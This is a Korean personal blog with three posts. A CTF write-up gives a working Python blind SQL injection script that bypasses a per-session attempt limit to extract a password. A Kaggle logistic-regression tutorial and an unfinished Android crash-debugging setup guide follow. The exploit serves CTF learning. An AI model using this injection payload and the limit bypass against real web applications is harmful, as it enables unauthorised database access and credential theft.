이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,

포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다.


처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,

그게 페이크였던것 같다

여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 

30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.

물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문)


근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.

그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패스워드)만 저장이 된다.


즉, 카운트가 120이 아닌, 실제로는 무한대라는것.


그래서, 익스플로잇에서는 처음에 여러개의 세션을 만들고,

한 세션으로 5글자씩 알아내는 방법으로 알아낸후,

최종 세션을 이용해 정답을 제출한다.


As you see the following code, first, I made multiple sessions.

Each sessions have their own 'cnt' variable.

But, in mysql database, only the password of last session is saved.

After that, the password is compared with IP address, not session.

So, although I use different sessions, I can access to a same password.

(It means that the counting is meaningless)

after I extract the password, auth password using the last session.


http://pastebin.com/y4zaHQtb


  1. import httplib
  2. import urllib
  3. import sys
  4. import time
  5.  
  6. conn = httplib.HTTPConnection('58.229.183.24',80)
  7. conn.connect()
  8.  
  9. session_header = '95hem28h053quulk22r5696me'
  10.  
  11. answer = ""
  12.  
  13. # create sessions
  14. for i in range(0, 10):
  15.     ch = chr(ord('0') + i)
  16.     print "Session make: "+ch
  17.     conn.putrequest('GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  18.     conn.putheader('Cookie', 'PHPSESSID='+session_header+ch+';')
  19.     conn.endheaders()
  20.     resp = conn.getresponse()
  21.     data = resp.read()
  22.  
  23. # injection
  24. for aa in range(0, 10):
  25.  ch = chr(ord('0') + aa)
  26.  for k in range(1 + aa*5, 6 + aa*5):
  27.    #i=96
  28.    i=0
  29.    for m in range(1, 9):
  30.         query = "' or substr(LPAD(bin(ascii(substr(password,"+str(k)+",1))),8,0),"+str(m)+",1)=0x31 and 'a' = 'a"
  31.         params = 'password='+urllib.quote(query)
  32.         conn.putrequest('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  33.         conn.putheader('Content-length', str(len(params)))
  34.         conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
  35.         conn.putheader('Cookie', 'PHPSESSID='+session_header + ch +';')
  36.         conn.endheaders()
  37.         conn.send(params)
  38.  
  39.         resp = conn.getresponse()
  40.         data = resp.read()
  41.  
  42.         if "True" in data:
  43.             i += pow(2,8-m)
  44.             print str(m)+" "+str(i)
  45.    answer = answer + chr(i)
  46.    print "Find: "+answer
  47.  if len(answer) == 30:
  48.     break
  49.  
  50. print "Answer: "+answer
  51. print "Session: "+session_header+'9'
  52.  
  53. conn.close()


posted by tunz

학교 머신러닝 수업때문에 kaggle competition(http://kaggle.com)을 하는데, 

생각보다 재밌어서 수업 끝나고도 틈틈히 할것같다.

우선 다 끝난 competition들로 공부좀 하고, active competition을 해보면 재밌을듯하다


모델은 Logistic regression을 사용하였고, feature선택은 greedy selection을 사용하였다.

(내 아이디어는 아니고, 포럼에서 메인으로 언급되는 아이디어)

logistical regression에 대한 설명은 많은것 같아서 따로 안하고, 실제로 어떻게 사용했는지만 써놔야겠다.

python의 scikit-learn (sklearn)을 사용하여, 코딩하였다.


지금은 이미 종료된 competition인 employee access challenge를 대상으로 연습해보았다.

이 대회가 데이터 분석은 전혀 필요없고 (하고 싶어도 할 수가 없다.)

오로지 머신러닝 테크닉만 이용해도 좋은 성적을 낼 수 있는 대회인것 같다.


이 competition은, employee들의 Manager ID와 Role에 관련된 여러가지 값들이 주어지고, 

그 employee가 특정 resource에 접근을 요청했을때, 접근을 허용할지 안할지를 판단하는 내용이다.


> 특이사항


이 challenge에서 data의 특이사항은 다음과 같다.


  

  1. action의 값은 0(not approved)와 1(approved)이긴 하지만, 실제 제출할때는 꼭 0과 1이어하는것은 아니다.

  2. 각 column은 어느 '정도'를 나타내는 특성들이 아니다. 단지, 다른 row들과 구분만 가능한 값이다.

 


1. action의 값은 0(not approved)와 1(approved)이긴 하지만, 실제 제출할때는 꼭 0과 1이어하는것은 아니다.


이 말이 무슨 뜻이냐면, 이 competition에서는 AUC로 rank를 매긴다.

근데, 여기서의 AUC는 accuracy가 아니다.

실제 데이터에서 action 1이 94%정도를 차지하고 있기때문에, 

단순한 정확도를 사용하게되면, 전부 1만 써 넣어도 정확도가 94%가 되어버린다.

그래서 이 competition에서는 ROC AUC(Area under curve)를 사용한다.

사실, ROC AUC에 대해서 정확히 공부하지는 않아서, 완벽한 의미는 모르지만.

대충 이야기해보자면, 

True Positive Rate와 False Positive Rate를 이용하여, 그래프를 그리고, 그 그래프의 넓이가 점수가 된다.

그리고, ROC AUC를 측정할 때는 '순서'가 중요하다. 확률이 높은것부터, 높은 값을 주면 된다.

그래서, 제출할때 꼭 0 ~ 1 사이의 값을 넣지 않아도 상관 없다. 

그저 확실히 1이라고 생각되는것부터 높은값을 준 후, 제출하면 된다.

(단순히, 확률을 넣어서 제출하는게 편하다)


2. 각 column은 어느 '정도'를 나타내는 특성들이 아니다. 단지, 다른 row들과 구분만 가능한 값이다.


data를 받아서 보면 알겠지만, 모든 값들이 숫자로 주어져있다.

그리고, 그 숫자가 높은 등급을 의미하는것도 아니다.

예를 들어, ROLE_TITLE의 값들이 원래 의미하는 것들은, CEO, Engineer, Marketer 등을 의미하겠지만, 

이 대회에서는 데이터 값이 1,2,3 과 같이 숫자가 적혀있다. (CEO가 1인지 2인지 3인지 알수없다.)

그래서, Logistical regression에서는 각 컬럼을 곧바로 feature로 사용할 수가 없다. 

왜냐하면......

LR은 각 feature가 연속성이 있는 값이라고 생각하고 만들어져 있는 모델이기 때문이다.

(여기서의 연속성은, continuous, discrete와 같은 것이 아니고, 숫자 높낮이의 의미가 있냐 없냐 이다.)



> Feature Selection


feature의 선택은 다음과 같다.


 

  1. 중복되는 column을 제거한다.

  2. column을 grouping하여, 확장한다.

  3. 각 column을 one hot encoding하여 binary로 변환한다.

  4. greedy로 feature를 선택한다.



1. 중복되는 column을 제거한다.


우선, 값이 중복되는 컬럼을 제거한다.

반드시 제거해야 하는것은 아니지만, 괜히 분석시간만 늘어나기 때문에..

그래서, TITLE과 겹치는 ROLE_CODE를 제거하였다.


2. column을 grouping하여, 확장한다.


grouping을 한다는게, 무슨 말이냐면

기존의 컬럼을 0,1,2,3,4,5,... 라고 한다면, 그냥 기존의 컬럼만 사용하면, 너무 독립적이게 된다.

예를 들어, 정답함수가 '0번 컬럼이 10이고, 1번 컬럼이 5일때, 정답은 1이다.' 라면,

0번이 ~~이고, 1번이 ~~일때, 라는 'and' 연산을 캐치할 수가 없다.

이런 연산을 캐치하기 위해서는, and연산을 한 컬럼을 아예 새로 만들어줘야 한다.

그래서, 기존의 0,1,2,3,... 의 컬럼과 더불어, (0과 1), (0과 2), (0과 3), ..., (1과 2), (1과 3), ...., (0과 1과 2), ..., (0과 1과 2와 3), ...

이런 컬럼들을 추가로 만들어주고, 그 컬럼의 값은 각 컬럼들에 있는 값들의 해시값으로 하면 된다.

그래서 grouping을 하면 할수록, 저런 and연산이 들어간 함수들을 더 잘 캐치할 수 있고, 정확도가 올라간다.

(물론, 속도는 점점 느려진다)


3. 각 column을 one hot encoding하여 binary로 변환한다.


아까 이야기한 특이사항 2번을 해결하기 위해서 각 피쳐들을 binary 포맷으로 바꿔야 한다. 

(이걸 forum에서는 One Hot Encoding 이라고 부르던데, 공식 명칭인지는 잘 모르겠다.)

예를 들어,


 

Column1 

 1

1234

 2

2345

 3

3456


이것이 기존의 컬럼이라면,



 

 1234

2345 

3456 

 1

 1

0

0

 2

 0

1

0

 3

 0

0

1


이렇게 변환하고, Column1대신 1234, 2345, 3456을 feature로 준다.

이렇게 변환함으로써, Logistic regression의 feature로 사용 가능하다.



4. greedy로 feature를 선택한다.


grouping으로 확장된 컬럼들을, 하나씩 넣어보면서 가장 높은 AUC가 나오는 컬럼을 선택해서, list에 포함한다.

포함 하고 나면, 다시 처음으로 돌아가서 모아둔 list에 또 컬럼들을 하나씩 더 추가해보면서, 가장 높은 AUC를 찾는다.

이 과정을 반복하여, 최종 feature들의 set를 뽑아낸다.



이렇게 하면 최종적으로 logistic regression만을 사용해서, 0.89 이상이 나온다.

포럼을 살펴보면 알겠지만, 여기까지는 거의 기본적인 점수이고, 여기서 조금조금씩 끌어 올려야 한다.

logistic regression 만으로 0.91까지 올린 사람들도 있는듯 하다.

그 외에 boosting (여러 모델들을 합쳐서)을 하여, 점수를 올릴수도 있으며, 1위도 이 방법을 사용하였다.


아래의 링크를 따라가면 샘플코드가 있다.


참고: http://kaggle.com/c/amazon-employee-access-challenge/forums/t/5258/how-i-modified-miroslaw-s-code


'Computer Engineering > Machine Learning' 카테고리의 다른 글

[Kaggle] Employee Access Challenge  (0) 2014.02.11
posted by tunz

시간이 없으니 글은 나중에 차차 다듬기로

(+ 다듬고 올리려고 했는데, 다시 건드릴 일이 없을것 같아서 그냥 비공개만 품...... / 쓰다 만 부분은 다른곳에서 찾으시길... )


안드로이드 4.1.2 버전에서 크래시가 났을경우, 어느부분에서 났는지 찾는 과정을 적어보았다.

(사실, 크래시가 난곳에서 동적분석도 하고싶은데, 그것까진 실패했다. 아마 심볼때문에 그런듯 해서, 안드로이드 full 컴파일을 하고 그 라이브러리들을 안드로이드에 올리면 될수도 있지만, 시간이 너무 오래걸려서 그러진 않았다)


그리고, 사실 이 방법이 가장 효율적인지는 모르겠다.

근데, 아는방법이 이것밖에 없으니...


환경: 우분투 13.04 64bit, 갤럭시노트2(루팅)


1. 안드로이드 기본 소스 다운로드.


$ sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy main multiverse"

$ sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy-updates main"

$ sudo apt-get update

$ sudo apt-get install sun-java6-jdk

$ sudo apt-get install python

$ sudo apt-get install git-core


$ wget http://dl.google.com/android/android-sdk_r22.0.5-linux.tgz

$ tar xzvf android-sdk_r22.0.5-linux.tgz 

$ mv android-sdk-linux android-sdk

$ export PATH=${PATH}:~/android-sdk/tools

$ export PATH=${PATH}:~/android-sdk/platform-tools

$ export PATH=${PATH}:~/bin

$ PATH="$HOME/android-sdk/tools:$HOME/android-sdk/platform-tools:$PATH"

$ android

Tools 전부 설치 (gui에서 해야한다.)


$ sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev libx11-dev:i386 libreadline6-dev:i386 libglapi-mesa:i386 libgl1-mesa-glx:i386 libgl1-mesa-dev g++-multilib mingw32 openjdk-6-jdk tofrodos python-markdown libxml2-utils xsltproc zlib1g-dev:i386

$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so


$ sudo vi /etc/udev/rules.d/51-android.rules

SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666"

( 갤노트라서 이렇게 했고, 각 폰 별로 lsusb를 통해 idVendor를 볼수있다. )


$ sudo chmod a+r /etc/udev/rules.d/51-android.rules


$ mkdir ~/bin

$ PATH=~/bin:$PATH

$ curl https://dl-ssl.google.com/dl/googlesource/git-repo/repo > ~/bin/repo

$ chmod a+x ~/bin/repo


$ sudo vi /etc/hosts

아래 내용 추가

# Google

74.125.128.82 google.com source.android.com android.googlesource.com

74.125.128.99 google.com source.android.com android.googlesource.com

74.125.128.139 google.com source.android.com android.googlesource.com


# github

207.97.227.239 github.com wiki.github.com gist.github.com assets0.github.com assets1.github.com assets2.github.com assets3.github.com



$ mkdir android

$ cd android

$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.1.1_r2

$ repo sync


안드로이드 다운로드가 시작되는데, 시간이 엄청 오래 걸린다.



2. 각 제조사에서 안드로이드 소스 다운로드

안드로이드는 오픈소스이기때문에, 각 핸드폰별로 안드로이드 소스를 공개하도록 되어있다.
(그렇다고 모든 기능이 추가된채로 오픈되는것은 아니다.)
삼성의 경우 http://opensource.samsung.com/ 에서 받을수 있다.

3. 안드로이드 소스에 적용.

다운받은 소스의 external 폴더를 기존 android 폴더에 덮어쓴다.

4. 디버그 심볼 설정.

기본적으로 strip되서 라이브러리르 만들기때문에, 심볼 설정을 해줘야한다.
build/buildspec.mk.default 를 안드로이드 폴더에 buildspec.mk로 복사한후,

DEBUG_MODULE_libwebcore:=true
DEBUG_MODULE_libxml2:=true
TARGET_CUSTOM_DEBUG_CFLAGS:=-O0 -mlong-calls
ADDITIONAL_BUILD_PROPERTIES += debug.db.uid=100000

를 추가해준다.

그리고
external/webkit/Android.mk 에
LOCAL_PRELINK_MODULE := false
에 주석이 있다면 해제한다.

(이부분은 http://haejung.egloos.com/1160033 분의 블로그 참고)

5. 빌드

$ make clean-libwebcore
$ make clean-libxml2
$ make libwebcore
$ make libxml2
$ make linker

첫번째 빌드라서 시간이 오래 걸린다.

6. 스크립트 

항상 "빌드 -> adb push -> remount /system -> cp" 를 반복해야 한다.

그러므로, 귀찮으니까 쉘 스크립트로 세팅해두자.


makepush.sh , command 라는 파일을 우분투에 만들어두었다.


우선 adb devices로 안드로이드가 연결이 되어있는지 확인하고,


http://pastebin.com/LbnfhdgD

  1. #/bin/sh
  2.  
  3. make libwebcore
  4. adb push out/target/product/generic/system/lib/libwebcore.so /data/local/tmp/libwebcore.so
  5. adb shell < command

makepush.sh 를 만들고

$ chmod 777 makepush.sh


command 도 만들어야하는데, 그 전에


adb shell

su 


로 안드로이드 루트로 접속한다.

그리고

root@android:/ # mount | grep /system

/dev/block/mmcblk0p13 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

로, 나온 /dev/block/mmcblk0p13를 기억해둔다.


그리고 이제 command를 만드는데, 빨간 부분을 위에서 얻은 값으로 고쳐준다.

su

mount -o rw,remount /dev/block/mmcblk0p13 /system

cp /data/local/tmp/libwebcore.so /system/lib/libwebcore.so

exit

exit 


그러면 이제 앞으로, 소스를 수정하면 저 모든 과정을 다 할필요없이

./makepush.sh

만 쳐주면 된다.


7. 디버깅 준비.


$ adb shell setprop debug.db.uid 100000

이렇게 해두어야, 크래시가 났을때 멈춘다.


그리고 gdbserver를 안드로이드로 push 해둔다.


8. 크래시


$ adb shell logcat *:d

디버깅 메세지를 항상 확인하고,

크래시를 일으킨다.


그러면 그 메세지가 로그캣에 모두 보인다.




어느 소스의 몇번째 줄에서 크래시 되었는지가 나온다.


posted by tunz